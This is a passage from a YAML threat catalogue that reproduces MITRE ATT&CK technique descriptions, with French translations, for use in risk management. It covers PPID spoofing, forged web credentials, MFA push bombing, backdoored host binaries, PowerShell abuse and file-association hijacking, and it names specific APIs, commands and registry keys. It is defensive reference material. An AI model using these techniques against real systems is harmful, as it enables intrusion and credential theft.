          \ d\u2019infrastructure r\xE9seau peuvent \xE9galement disposer d\u2019\
          outils de gestion de la configuration qui peuvent \xEAtre utilis\xE9s de\
          \ la m\xEAme mani\xE8re par des adversaires. (Citation : Fortinet zero-day\
          \ et un logiciel malveillant personnalis\xE9 utilis\xE9 par un acteur chinois\
          \ pr\xE9sum\xE9 dans une op\xE9ration d\u2019espionnage)\n\nLes autorisations\
          \ requises pour cette action varient en fonction de la configuration du\
          \ syst\xE8me ; Les informations d\u2019identification locales peuvent \xEA\
          tre suffisantes pour un acc\xE8s direct au syst\xE8me tiers, ou des informations\
          \ d\u2019identification de domaine sp\xE9cifiques peuvent \xEAtre requises.\
          \ Cependant, le syst\xE8me peut n\xE9cessiter un compte administratif pour\
          \ se connecter ou pour acc\xE9der \xE0 des fonctionnalit\xE9s sp\xE9cifiques.\n\
          https://attack.mitre.org/techniques/T1072"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1041
    ref_id: T1041
    name: Exfiltration Over C2 Channel
    description: 'Adversaries may steal data by exfiltrating it over an existing command
      and control channel. Stolen data is encoded into the normal communications channel
      using the same protocol as command and control communications.

      https://attack.mitre.org/techniques/T1041'
    translations:
      fr:
        name: Exfiltration sur le canal C2
        description: "Les adversaires peuvent voler des donn\xE9es en les exfiltrant\
          \ via un canal de commande et de contr\xF4le existant. Les donn\xE9es vol\xE9\
          es sont cod\xE9es dans le canal de communication normal en utilisant le\
          \ m\xEAme protocole que les communications de commande et de contr\xF4le.\n\
          https://attack.mitre.org/techniques/T1041"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1134.004
    ref_id: T1134.004
    name: Parent PID Spoofing
    description: 'Adversaries may spoof the parent process identifier (PPID) of a
      new process to evade process-monitoring defenses or to elevate privileges. New
      processes are typically spawned directly from their parent, or calling, process
      unless explicitly specified. One way of explicitly assigning the PPID of a new
      process is via the <code>CreateProcess</code> API call, which supports a parameter
      that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009)
      This functionality is used by Windows features such as User Account Control
      (UAC) to correctly set the PPID after a requested elevated process is spawned
      by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>)
      rather than the current user context.(Citation: Microsoft UAC Nov 2018)


      Adversaries may abuse these mechanisms to evade defenses, such as those blocking
      processes spawning directly from Office documents, and analysis targeting unusual/potentially
      malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011)
      to be <code>explorer.exe</code> rather than an Office document delivered as
      part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation:
      CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual
      Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office
      document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation:
      CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)


      Explicitly assigning the PPID may also enable elevated privileges given appropriate
      access rights to the parent process. For example, an adversary in a privileged
      user context (i.e. administrator) may spawn a new process and assign the parent
      as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the
      new process to be elevated via the inherited access token.(Citation: XPNSec
      PPID Nov 2017)

      https://attack.mitre.org/techniques/T1134/004'
    translations:
      fr:
        name: Usurpation de PID parent
        description: "Les adversaires peuvent usurper l\u2019identificateur de processus\
          \ parent (PPID) d\u2019un nouveau processus pour contourner les d\xE9fenses\
          \ de surveillance des processus ou pour \xE9lever les privil\xE8ges. Les\
          \ nouveaux processus sont g\xE9n\xE9ralement g\xE9n\xE9r\xE9s directement\
          \ \xE0 partir de leur processus parent, ou appel, sauf indication explicite.\
          \ L\u2019une des fa\xE7ons d\u2019attribuer explicitement le PPID d\u2019\
          un nouveau processus consiste \xE0 utiliser l\u2019appel d\u2019API <code>CreateProcess</code>,\
          \ qui prend en charge un param\xE8tre d\xE9finissant le PPID \xE0 utiliser.\
          \ (Citation\_: DidierStevens SelectMyParent novembre 2009) Cette fonctionnalit\xE9\
          \ est utilis\xE9e par les fonctionnalit\xE9s Windows telles que le contr\xF4\
          le de compte d\u2019utilisateur (UAC) pour d\xE9finir correctement le PPID\
          \ apr\xE8s qu\u2019un processus \xE9lev\xE9 demand\xE9 est g\xE9n\xE9r\xE9\
          \ par SYSTEM (g\xE9n\xE9ralement via <code>svchost.exe</code> ou <code>consent.exe</code>)\
          \ plut\xF4t que le contexte utilisateur actuel. (Citation : Microsoft UAC\
          \ novembre 2018)\n\nLes adversaires peuvent abuser de ces m\xE9canismes\
          \ pour \xE9chapper aux d\xE9fenses, telles que le blocage des processus\
          \ g\xE9n\xE9r\xE9s directement \xE0 partir de documents Office et l\u2019\
          analyse ciblant des relations de processus parent-enfant inhabituelles/potentiellement\
          \ malveillantes, telles que l\u2019usurpation du PPID de [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011)\
          \ pour \xEAtre <code>explorer.exe</code> plut\xF4t qu\u2019un document Office\
          \ livr\xE9 dans le cadre de [Pi\xE8ce jointe pour spearphishing](https://attack.mitre.org/techniques/T1566/001).\
          \ (Citation : CounterCept PPID Spoofing d\xE9cembre 2018) Cette usurpation\
          \ d\u2019identit\xE9 peut \xEAtre ex\xE9cut\xE9e via [Visual Basic](https://attack.mitre.org/techniques/T1059/005)\
          \ dans un document Office malveillant ou tout code capable d\u2019ex\xE9\
          cuter [API native](https://attack.mitre.org/techniques/T1106). (Citation\
          \ : CTD PPID Spoofing Macro mars 2019)(Citation : CounterCept PPID Spoofing\
          \ d\xE9cembre 2018)\n\nL\u2019attribution explicite du PPID peut \xE9galement\
          \ activer des privil\xE8ges \xE9lev\xE9s avec des droits d\u2019acc\xE8\
          s appropri\xE9s au processus parent. Par exemple, un adversaire dans un\
          \ contexte d\u2019utilisateur privil\xE9gi\xE9 (c\u2019est-\xE0-dire un\
          \ administrateur) peut g\xE9n\xE9rer un nouveau processus et affecter le\
          \ parent en tant que processus s\u2019ex\xE9cutant en tant que SYSTEM (par\
          \ exemple, <code>lsass.exe</code>), ce qui entra\xEEne une \xE9l\xE9vation\
          \ de niveau \xE9lev\xE9 du nouveau processus via le jeton d\u2019acc\xE8\
          s h\xE9rit\xE9. (Citation : XPNSec PPID novembre 2017)\nhttps://attack.mitre.org/techniques/T1134/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1591
    ref_id: T1591
    name: Gather Victim Org Information
    description: 'Adversaries may gather information about the victim''s organization
      that can be used during targeting. Information about an organization may include
      a variety of details, including the names of divisions/departments, specifics
      of business operations, as well as the roles and responsibilities of key employees.


      Adversaries may gather this information in various ways, such as direct elicitation
      via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information
      about an organization may also be exposed to adversaries via online or other
      accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001)
      or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation:
      ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information
      may reveal opportunities for other forms of reconnaissance (ex: [Phishing for
      Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),
      establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585)
      or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or
      initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or
      [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

      https://attack.mitre.org/techniques/T1591'
    translations:
      fr:
        name: "Recueillir des informations sur l\u2019organisation des victimes"
        description: "Les adversaires peuvent recueillir des informations sur l\u2019\
          organisation de la victime qui peuvent \xEAtre utilis\xE9es lors du ciblage.\
          \ Les renseignements sur une organisation peuvent comprendre divers d\xE9\
          tails, notamment les noms des divisions ou des services, les d\xE9tails\
          \ des activit\xE9s commerciales, ainsi que les r\xF4les et responsabilit\xE9\
          s des employ\xE9s cl\xE9s.\n\nLes adversaires peuvent recueillir ces informations\
          \ de diff\xE9rentes mani\xE8res, par exemple par le biais de l\u2019hame\xE7\
          onnage par le biais de [Phishing for Information](https://attack.mitre.org/techniques/T1598).\
          \ Les renseignements sur une organisation peuvent \xE9galement \xEAtre expos\xE9\
          s \xE0 des adversaires par le biais d\u2019outils en ligne ou d\u2019autres\
          \ ensembles de donn\xE9es accessibles (p. ex., [m\xE9dias sociaux](https://attack.mitre.org/techniques/T1593/001)\
          \ ou [sites Web appartenant \xE0 des victimes de recherche](https://attack.mitre.org/techniques/T1594)).\
          \ (Citation : Fuite ThreatPost Broadvoice)(R\xE9f\xE9rence : SEC EDGAR Search)\
          \ La collecte de ces informations peut r\xE9v\xE9ler des opportunit\xE9\
          s pour d\u2019autres formes de reconnaissance (ex : [Phishing pour obtenir\
          \ des informations](https://attack.mitre.org/techniques/T1598) ou [Rechercher\
          \ des sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ l\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [\xC9tablir\
          \ des comptes](https://attack.mitre.org/techniques/T1585) ou [Compromettre\
          \ des comptes](https://attack.mitre.org/techniques/T1586)), et/ou un acc\xE8\
          s initial (ex : [Phishing]( https://attack.mitre.org/techniques/T1566) ou\
          \ [Relation de confiance](https://attack.mitre.org/techniques/T1199)).\n\
          https://attack.mitre.org/techniques/T1591"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1606
    ref_id: T1606
    name: Forge Web Credentials
    description: 'Adversaries may forge credential materials that can be used to gain
      access to web applications or Internet services. Web applications and services
      (hosted in cloud SaaS environments or on-premise servers) often use session
      cookies, tokens, or other materials to authenticate and authorize user access.


      Adversaries may generate these credential materials in order to gain access
      to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539),
      [Steal Application Access Token](https://attack.mitre.org/techniques/T1528),
      and other similar behaviors in that the credentials are new and forged by the
      adversary, rather than stolen or intercepted from legitimate users.


      The generation of web credentials often requires secret values, such as passwords,
      [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic
      seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may
      also forge tokens by taking advantage of features such as the `AssumeRole` and
      `GetFederationToken` APIs in AWS, which allow users to request temporary security
      credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)),
      or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication
      key that can be used to generate tokens for any user in the domain.(Citation:
      AWS Temporary Security Credentials)(Citation: Zimbra Preauth)


      Once forged, adversaries may use these web credentials to access resources (ex:
      [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)),
      which may bypass multi-factor and other authentication protection mechanisms.(Citation:
      Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation:
      Microsoft SolarWinds Customer Guidance)

      https://attack.mitre.org/techniques/T1606'
    translations:
      fr:
        name: "Falsifier les informations d\u2019identification Web"
        description: "Les adversaires peuvent falsifier des documents d\u2019identification\
          \ qui peuvent \xEAtre utilis\xE9s pour acc\xE9der \xE0 des applications\
          \ Web ou \xE0 des services Internet. Les applications et services Web (h\xE9\
          berg\xE9s dans des environnements SaaS cloud ou des serveurs sur site) utilisent\
          \ souvent des cookies de session, des jetons ou d\u2019autres \xE9l\xE9\
          ments pour authentifier et autoriser l\u2019acc\xE8s des utilisateurs.\n\
          \nLes adversaires peuvent g\xE9n\xE9rer ces informations d\u2019identification\
          \ afin d\u2019acc\xE9der aux ressources Web. Cela diff\xE8re de [Voler le\
          \ cookie de session Web](https://attack.mitre.org/techniques/T1539), [Voler\
          \ le jeton d\u2019acc\xE8s \xE0 l\u2019application](https://attack.mitre.org/techniques/T1528)\
          \ et d\u2019autres comportements similaires en ce sens que les informations\
          \ d\u2019identification sont nouvelles et falsifi\xE9es par l\u2019adversaire,\
          \ plut\xF4t que vol\xE9es ou intercept\xE9es aupr\xE8s d\u2019utilisateurs\
          \ l\xE9gitimes.\n\nLa g\xE9n\xE9ration d\u2019informations d\u2019identification\
          \ Web n\xE9cessite souvent des valeurs secr\xE8tes, telles que des mots\
          \ de passe, des [cl\xE9s priv\xE9es](https://attack.mitre.org/techniques/T1552/004)\
          \ ou d\u2019autres valeurs de d\xE9part cryptographiques. (Citation : GitHub\
          \ AWS-ADFS-Credential-Generator) Les adversaires peuvent \xE9galement falsifier\
          \ des jetons en tirant parti de fonctionnalit\xE9s telles que les API \xAB\
          \ AssumeRole \xBB et \xAB GetFederationToken \xBB dans AWS, qui permettent\
          \ aux utilisateurs de demander des informations d\u2019identification de\
          \ s\xE9curit\xE9 temporaires (c\u2019est-\xE0-dire, [Temporary Elevated\
          \ Cloud Access](https://attack.mitre.org/techniques/T1548/005)), ou la commande\
          \ \xAB zmprov gdpak \xBB dans Zimbra, qui g\xE9n\xE8re une cl\xE9 de pr\xE9\
          -authentification qui peut \xEAtre utilis\xE9e pour g\xE9n\xE9rer des jetons\
          \ pour n\u2019importe quel utilisateur du domaine. (R\xE9f\xE9rence : Informations\
          \ d\u2019identification de s\xE9curit\xE9 temporaires AWS)(Citation : Zimbra\
          \ Preauth)\n\nUne fois falsifi\xE9s, les adversaires peuvent utiliser ces\
          \ identifiants Web pour acc\xE9der \xE0 des ressources (ex : [Utiliser un\
          \ autre mat\xE9riel d\u2019authentification](https://attack.mitre.org/techniques/T1550)),\
          \ qui peuvent contourner les m\xE9canismes de protection contre l\u2019\
          authentification multifactorielle et autres. (Citation : Passez le cookie)(Citation\
          \ : Unit 42 Mac Crypto Cookies Janvier 2019)(Citation : Guide client de\
          \ Microsoft SolarWinds)\nhttps://attack.mitre.org/techniques/T1606"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1621
    ref_id: T1621
    name: Multi-Factor Authentication Request Generation
    description: "Adversaries may attempt to bypass multi-factor authentication (MFA)\
      \ mechanisms and gain access to accounts by generating MFA requests sent to\
      \ users.\n\nAdversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078)\
      \ may be unable to complete the login process if they lack access to the 2FA\
      \ or MFA mechanisms required as an additional credential and security control.\
      \ To circumvent this, adversaries may abuse the automatic generation of push\
      \ notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta,\
      \ or similar services to have the user grant access to their account. If adversaries\
      \ lack credentials to victim accounts, they may also abuse automatic push notification\
      \ generation when this option is configured for self-service password reset\
      \ (SSPR).(Citation: Obsidian SSPR Abuse 2023)\n\nIn some cases, adversaries\
      \ may continuously repeat login attempts in order to bombard users with MFA\
      \ push notifications, SMS messages, and phone calls, potentially resulting in\
      \ the user finally accepting the authentication request in response to \u201C\
      MFA fatigue.\u201D(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation:\
      \ MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting\
      \ Government and Business Entities Around the Globe)\nhttps://attack.mitre.org/techniques/T1621"
    translations:
      fr:
        name: "G\xE9n\xE9ration de demandes d\u2019authentification multifacteur"
        description: "Les adversaires peuvent tenter de contourner les m\xE9canismes\
          \ d\u2019authentification multifacteur (MFA) et d\u2019acc\xE9der aux comptes\
          \ en g\xE9n\xE9rant des demandes MFA envoy\xE9es aux utilisateurs.\n\nLes\
          \ adversaires en possession d\u2019informations d\u2019identification pour\
          \ [Comptes valides](https://attack.mitre.org/techniques/T1078) peuvent ne\
          \ pas \xEAtre en mesure de terminer le processus de connexion s\u2019ils\
          \ n\u2019ont pas acc\xE8s aux m\xE9canismes 2FA ou MFA requis en tant qu\u2019\
          informations d\u2019identification suppl\xE9mentaires et contr\xF4le de\
          \ s\xE9curit\xE9. Pour contourner ce probl\xE8me, les adversaires peuvent\
          \ abuser de la g\xE9n\xE9ration automatique de notifications push vers des\
          \ services MFA tels que Duo Push, Microsoft Authenticator, Okta ou des services\
          \ similaires pour que l\u2019utilisateur accorde l\u2019acc\xE8s \xE0 son\
          \ compte. Si les adversaires ne disposent pas des informations d\u2019identification\
          \ des comptes victimes, ils peuvent \xE9galement abuser de la g\xE9n\xE9\
          ration automatique de notifications push lorsque cette option est configur\xE9\
          e pour la r\xE9initialisation de mot de passe en libre-service (SSPR). (Citation\
          \ : Abus d\u2019obsidienne SSPR 2023)\n\nDans certains cas, les adversaires\
          \ peuvent r\xE9p\xE9ter continuellement les tentatives de connexion afin\
          \ de bombarder les utilisateurs de notifications push MFA, de SMS et d\u2019\
          appels t\xE9l\xE9phoniques, ce qui peut amener l\u2019utilisateur \xE0 accepter\
          \ la demande d\u2019authentification en r\xE9ponse \xE0 la \xAB fatigue\
          \ MFA \xBB. (Citation\_: Contrari\xE9t\xE9 russe 2FA Push - Cimpanu)(Citation\
          \ : Attaques de fatigue MFA - PortSwigger)(Citation : Activit\xE9 russe\
          \ pr\xE9sum\xE9e ciblant des entit\xE9s gouvernementales et commerciales\
          \ dans le monde entier)\nhttps://attack.mitre.org/techniques/T1621"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1554
    ref_id: T1554
    name: Compromise Host Software Binary
    description: "Adversaries may modify host software binaries to establish persistent\
      \ access to systems. Software binaries/executables provide a wide range of system\
      \ commands or services, programs, and libraries. Common software binaries are\
      \ SSH clients, FTP clients, email clients, web browsers, and many other user\
      \ or server applications.\n\nAdversaries may establish persistence though modifications\
      \ to host software binaries. For example, an adversary may replace or otherwise\
      \ infect a legitimate application binary (or support files) with a backdoor.\
      \ Since these binaries may be routinely executed by applications or the user,\
      \ the adversary can leverage this for persistent access to the host. An adversary\
      \ may also modify a software binary such as an SSH client in order to persistently\
      \ collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation:\
      \ Google Cloud Mandiant UNC3886 2024)\n\nAn adversary may also modify an existing\
      \ binary by patching in malicious functionality (e.g., IAT Hooking/Entry point\
      \ patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\u2019\
      s legitimate execution. For example, an adversary may modify the entry point\
      \ of a binary to point to malicious code patched in by the adversary before\
      \ resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\n\
      \nAfter modifying a binary, an adversary may attempt to [Impair Defenses](https://attack.mitre.org/techniques/T1562)\
      \ by preventing it from updating (e.g., via the `yum-versionlock` command or\
      \ `versionlock.list` file in Linux systems that use the yum package manager).(Citation:\
      \ Google Cloud Mandiant UNC3886 2024)\nhttps://attack.mitre.org/techniques/T1554"
    translations:
      fr:
        name: "Binaire du logiciel h\xF4te de compromis"
        description: "Les adversaires peuvent modifier les fichiers binaires des logiciels\
          \ h\xF4tes pour \xE9tablir un acc\xE8s permanent aux syst\xE8mes. Les fichiers\
          \ binaires/ex\xE9cutables logiciels fournissent un large \xE9ventail de\
          \ commandes ou de services syst\xE8me, de programmes et de biblioth\xE8\
          ques. Les binaires logiciels courants sont les clients SSH, les clients\
          \ FTP, les clients de messagerie, les navigateurs Web et de nombreuses autres\
          \ applications utilisateur ou serveur.\n\nLes adversaires peuvent \xE9tablir\
          \ une persistance en modifiant les fichiers binaires du logiciel h\xF4te.\
          \ Par exemple, un adversaire peut remplacer ou infecter un fichier binaire\
          \ d\u2019application l\xE9gitime (ou des fichiers de support) par une porte\
          \ d\xE9rob\xE9e. \xC9tant donn\xE9 que ces fichiers binaires peuvent \xEA\
          tre ex\xE9cut\xE9s r\xE9guli\xE8rement par les applications ou l\u2019utilisateur,\
          \ l\u2019adversaire peut en tirer parti pour obtenir un acc\xE8s persistant\
          \ \xE0 l\u2019h\xF4te. Un adversaire peut \xE9galement modifier un binaire\
          \ logiciel tel qu\u2019un client SSH afin de collecter de mani\xE8re persistante\
          \ des informations d\u2019identification lors des connexions (c\u2019est-\xE0\
          -dire, [Modifier le processus d\u2019authentification](https://attack.mitre.org/techniques/T1556)).\
          \ (R\xE9f\xE9rence : Google Cloud Mandiant UNC3886 2024)\n\nUn adversaire\
          \ peut \xE9galement modifier un binaire existant en y ajoutant des correctifs\
          \ de fonctionnalit\xE9s malveillantes (par exemple, IAT Hooking/Entry point\
          \ patching) (Citation : Unit42 Banking Trojans Hooking 2022) avant l\u2019\
          ex\xE9cution l\xE9gitime du binaire. Par exemple, un adversaire peut modifier\
          \ le point d\u2019entr\xE9e d\u2019un fichier binaire pour pointer vers\
          \ un code malveillant corrig\xE9 par l\u2019adversaire avant de reprendre\
          \ le flux d\u2019ex\xE9cution normal. (Citation : ESET FontOnLake Analysis\
          \ 2021)\n\nApr\xE8s avoir modifi\xE9 un binaire, un adversaire peut tenter\
          \ de [Nuire aux d\xE9fenses](https://attack.mitre.org/techniques/T1562)\
          \ en l\u2019emp\xEAchant de se mettre \xE0 jour (par exemple, via la commande\
          \ 'yum-versionlock' ou le fichier 'versionlock.list' dans les syst\xE8mes\
          \ Linux qui utilisent le gestionnaire de paquets yum). (R\xE9f\xE9rence\
          \ : Google Cloud Mandiant UNC3886 2024)\nhttps://attack.mitre.org/techniques/T1554"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1552.008
    ref_id: T1552.008
    name: Chat Messages
    description: 'Adversaries may directly collect unsecured credentials stored or
      passed through user communication services. Credentials may be sent and stored
      in user chat communication applications such as email, chat services like Slack
      or Teams, collaboration tools like Jira or Trello, and any other services that
      support user communication. Users may share various forms of credentials (such
      as usernames and passwords, API keys, or authentication tokens) on private or
      public corporate internal communications channels.


      Rather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)),
      adversaries may directly access credentials within these services on the user
      endpoint, through servers hosting the services, or through administrator portals
      for cloud hosted services. Adversaries may also compromise integration tools
      like Slack Workflows to automatically search through messages to extract user
      credentials. These credentials may then be abused to perform follow-on activities
      such as lateral movement or privilege escalation (Citation: Slack Security Risks).

      https://attack.mitre.org/techniques/T1552/008'
    translations:
      fr:
        name: Chat Messages
        description: "Les adversaires peuvent collecter directement des informations\
          \ d\u2019identification non s\xE9curis\xE9es stock\xE9es ou transmises par\
          \ le biais des services de communication avec les utilisateurs. Les informations\
          \ d\u2019identification peuvent \xEAtre envoy\xE9es et stock\xE9es dans\
          \ des applications de communication par chat utilisateur telles que les\
          \ e-mails, des services de chat tels que Slack ou Teams, des outils de collaboration\
          \ tels que Jira ou Trello, et tout autre service prenant en charge la communication\
          \ avec les utilisateurs. Les utilisateurs peuvent partager diverses formes\
          \ d\u2019informations d\u2019identification (telles que des noms d\u2019\
          utilisateur et des mots de passe, des cl\xE9s API ou des jetons d\u2019\
          authentification) sur des canaux de communication internes d\u2019entreprise\
          \ priv\xE9s ou publics.\n\nPlut\xF4t que d\u2019acc\xE9der aux journaux\
          \ de chat stock\xE9s (c\u2019est-\xE0-dire [Informations d\u2019identification\
          \ dans les fichiers](https://attack.mitre.org/techniques/T1552/001)), les\
          \ adversaires peuvent acc\xE9der directement aux informations d\u2019identification\
          \ de ces services sur le point de terminaison de l\u2019utilisateur, via\
          \ des serveurs h\xE9bergeant les services ou via des portails d\u2019administrateur\
          \ pour les services h\xE9berg\xE9s dans le cloud. Les adversaires peuvent\
          \ \xE9galement compromettre les outils d\u2019int\xE9gration tels que les\
          \ flux de travail Slack pour rechercher automatiquement dans les messages\
          \ afin d\u2019extraire les informations d\u2019identification de l\u2019\
          utilisateur. Ces informations d\u2019identification peuvent ensuite \xEA\
          tre utilis\xE9es de mani\xE8re abusive pour effectuer des activit\xE9s de\
          \ suivi telles que le mouvement lat\xE9ral ou l\u2019\xE9l\xE9vation de\
          \ privil\xE8ges (Citation : Slack Security Risks).\nhttps://attack.mitre.org/techniques/T1552/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1059.001
    ref_id: T1059.001
    name: PowerShell
    description: 'Adversaries may abuse PowerShell commands and scripts for execution.
      PowerShell is a powerful interactive command-line interface and scripting environment
      included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries
      can use PowerShell to perform a number of actions, including discovery of information
      and execution of code. Examples include the <code>Start-Process</code> cmdlet
      which can be used to run an executable and the <code>Invoke-Command</code> cmdlet
      which runs a command locally or on a remote computer (though administrator permissions
      are required to use PowerShell to connect to remote systems).


      PowerShell may also be used to download and run executables from the Internet,
      which can be executed from disk or in memory without touching disk.


      A number of PowerShell-based offensive testing tools are available, including
      [Empire](https://attack.mitre.org/software/S0363),  [PowerSploit](https://attack.mitre.org/software/S0194),
      [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github
      PSAttack)


      PowerShell commands/scripts can also be executed without directly invoking the
      <code>powershell.exe</code> binary through interfaces to PowerShell''s underlying
      <code>System.Management.Automation</code> assembly DLL exposed through the .NET
      framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick
      Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp
      APR 2014)

      https://attack.mitre.org/techniques/T1059/001'
    translations:
      fr:
        name: PowerShell
        description: "Les adversaires peuvent abuser des commandes et des scripts\
          \ PowerShell pour l\u2019ex\xE9cution. PowerShell est une interface de ligne\
          \ de commande interactive puissante et un environnement de script inclus\
          \ dans le syst\xE8me d\u2019exploitation Windows. (Citation : TechNet PowerShell)\
          \ Les adversaires peuvent utiliser PowerShell pour effectuer un certain\
          \ nombre d\u2019actions, notamment la d\xE9couverte d\u2019informations\
          \ et l\u2019ex\xE9cution de code. Il s\u2019agit par exemple de l\u2019\
          applet <code>de commande Start-Process</code>, qui peut \xEAtre utilis\xE9\
          e pour ex\xE9cuter un ex\xE9cutable, et de l\u2019applet <code>de commande\
          \ Invoke-Command</code>, qui ex\xE9cute une commande localement ou sur un\
          \ ordinateur distant (bien que des autorisations d\u2019administrateur soient\
          \ requises pour utiliser PowerShell pour se connecter \xE0 des syst\xE8\
          mes distants).\n\nPowerShell peut \xE9galement \xEAtre utilis\xE9 pour t\xE9\
          l\xE9charger et ex\xE9cuter des ex\xE9cutables \xE0 partir d\u2019Internet,\
          \ qui peuvent \xEAtre ex\xE9cut\xE9s \xE0 partir du disque ou en m\xE9moire\
          \ sans toucher le disque.\n\nUn certain nombre d\u2019outils de test offensif\
          \ bas\xE9s sur PowerShell sont disponibles, notamment [Empire](https://attack.mitre.org/software/S0363),\
          \ [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378)\
          \ et PSAttack. (Citation : Github PSAttack)\n\nLes commandes/scripts PowerShell\
          \ peuvent \xE9galement \xEAtre ex\xE9cut\xE9s sans appeler directement le\
          \ binaire <code>powershell.exe</code> via les interfaces de la DLL d\u2019\
          assembly <code>System.Management.Automation</code> sous-jacente de PowerShell\
          \ expos\xE9e via le cadre .NET et l\u2019interface de ligne de commande\
          \ Windows Common Language Interface. (Citation : Sixdub PowerPick janvier\
          \ 2016)(Citation : SilentBreak Offensive PS d\xE9cembre 2015)(Citation :\
          \ Microsoft PSfromCsharp APR 2014)\nhttps://attack.mitre.org/techniques/T1059/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.001
    ref_id: T1546.001
    name: Change Default File Association
    description: "Adversaries may establish persistence by executing malicious content\
      \ triggered by a file type association. When a file is opened, the default program\
      \ used to open the file (also called the file association or handler) is checked.\
      \ File association selections are stored in the Windows Registry and can be\
      \ edited by users, administrators, or programs that have Registry access or\
      \ by administrators using the built-in assoc utility.(Citation: Microsoft Change\
      \ Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc\
      \ Oct 2017) Applications can modify the file association for a given file extension\
      \ to call an arbitrary program when a file with the given extension is opened.\n\
      \nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>,\
      \ for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler\
      \ for that extension located at <code>HKEY_CLASSES_ROOT\\\\[handler]</code>.\
      \ The various commands are then listed as subkeys underneath the shell key at\
      \ <code>HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command</code>. For\
      \ example: \n\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n\
      * <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\\
      txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are\
      \ commands that are executed when the handler opens the file extension. Adversaries\
      \ can modify these values to continually execute arbitrary commands.(Citation:\
      \ TrendMicro TROJ-FAKEAV OCT 2012)\nhttps://attack.mitre.org/techniques/T1546/001"
    translations:
      fr:
        name: "Modifier l\u2019association de fichiers par d\xE9faut"
        description: "Les adversaires peuvent \xE9tablir la persistance en ex\xE9\
          cutant du contenu malveillant d\xE9clench\xE9 par une association de type\
          \ de fichier. Lorsqu\u2019un fichier est ouvert, le programme par d\xE9\
          faut utilis\xE9 pour ouvrir le fichier (\xE9galement appel\xE9 association\
          \ de fichiers ou gestionnaire) est v\xE9rifi\xE9. Les s\xE9lections d\u2019\
          association de fichiers sont stock\xE9es dans le registre Windows et peuvent\
          \ \xEAtre modifi\xE9es par les utilisateurs, les administrateurs ou les\
          \ programmes qui ont acc\xE8s au registre ou par les administrateurs \xE0\
          \ l\u2019aide de l\u2019utilitaire associ\xE9 int\xE9gr\xE9. (Citation\_\
          : Microsoft Change Default Programs)(Citation : Gestionnaires de fichiers\
          \ Microsoft)(Citation : Microsoft Assoc octobre 2017) Les applications peuvent\
          \ modifier l\u2019association de fichiers pour une extension de fichier\
          \ donn\xE9e afin d\u2019appeler un programme arbitraire lorsqu\u2019un fichier\
          \ avec l\u2019extension donn\xE9e est ouvert.\n\nLes associations de fichiers\
          \ syst\xE8me sont r\xE9pertori\xE9es sous <code>HKEY_CLASSES_ROOT\\.[ extension]</code>,\
          \ par exemple <code>HKEY_CLASSES_ROOT\\.txt</code>. Les entr\xE9es pointent\
